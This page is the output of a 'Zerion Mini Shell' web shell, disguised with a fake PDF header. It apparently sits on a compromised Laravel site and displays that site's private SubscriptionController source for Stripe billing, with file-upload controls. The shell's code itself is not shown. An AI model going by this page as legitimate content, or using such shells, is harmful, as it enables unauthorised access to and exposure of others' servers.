%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Account/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Http/Controllers/Account/SubscriptionController.php

<?php

namespace App\Http\Controllers\Account;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Http\Resources\SubscriptionResource;
use App\Mail\NewSubscription;
use App\Mail\CancelledSubscription;
use Illuminate\Support\Facades\Mail;
use App\Services\Stripe\PaymentMethodService as StripeService;

class SubscriptionController extends Controller
{
    /**
     * Get the users subscription
     *
     * @param Request $request
     * @return SubscriptionResource $subscription
     */
    public function index(Request $request)
    {
        $subscription = auth()->user()->subscription(config('subscription.product_id'));

        if ($subscription !== null) {
            return new SubscriptionResource($subscription);
        }

        return response()->json('User has no subscription', 422);
    }

    /**
     * Create a new subscription for the user
     *
     * @param Request $request
     * @return SubscriptionResource $newSubscription
     */
    public function create(Request $request)
    {
        $user = auth()->user();

        $paymentMethod = $request->get('payment_method');
        $discountCode = $request->get('discount_code');

        try {
            $user->addPaymentMethod($paymentMethod);
            $user->updateDefaultPaymentMethod($paymentMethod);
            $user->updateDefaultPaymentMethodFromStripe();
        } catch (Exception $e) {
            return response()->json($e, 422);
        }

        if ($user->hasDefaultPaymentMethod()) {
            // Check the discount code exists and is valid
            // nb: Chaining seems to break with newSubscription
            // so have to do two different calls
            if (!empty($discountCode)) {
                if (StripeService::couponValid($discountCode) == false) {
                    return response()->json('The discount code you have entered is invalid, please try again.', 400);
                }

                $newSubscription = $user->newSubscription(
                    config('subscription.product_id'),
                    config('subscription.plan_id')
                )
                ->withCoupon($discountCode)
                ->add();
            } else {
                $newSubscription = $user->newSubscription(
                    config('subscription.product_id'),
                    config('subscription.plan_id')
                )->add();
            }

            Mail::to($user)->send(new NewSubscription($user));

            return new SubscriptionResource($newSubscription);
        }

        return response()->json('User has no payment method', 400);
    }

    /**
     * Resume an existing subscription
     *
     * @param Request $request
     * @return SubscriptionResource $subscription
     */
    public function resume(Request $request)
    {
        $user = auth()->user();

        if ($user->subscribed(config('subscription.product_id'))) {
            $subscription = $user->subscription(config('subscription.product_id'))->resume();

            return new SubscriptionResource($subscription);
        }

        return response()->json('User not subscribed', 422);
    }

    /**
     * Cancel an existing subscription
     *
     * @param Request $request
     * @return SubscriptionResource $subscription
     */
    public function cancel()
    {
        $user = auth()->user();

        if ($user->subscribed(config('subscription.product_id'))) {
            $subscription = $user->subscription(config('subscription.product_id'))->cancel();

            Mail::to($user)->send(new CancelledSubscription($user));

            return new SubscriptionResource($subscription);
        }

        return response()->json('User not subscribed', 422);
    }
}

Zerion Mini Shell 1.0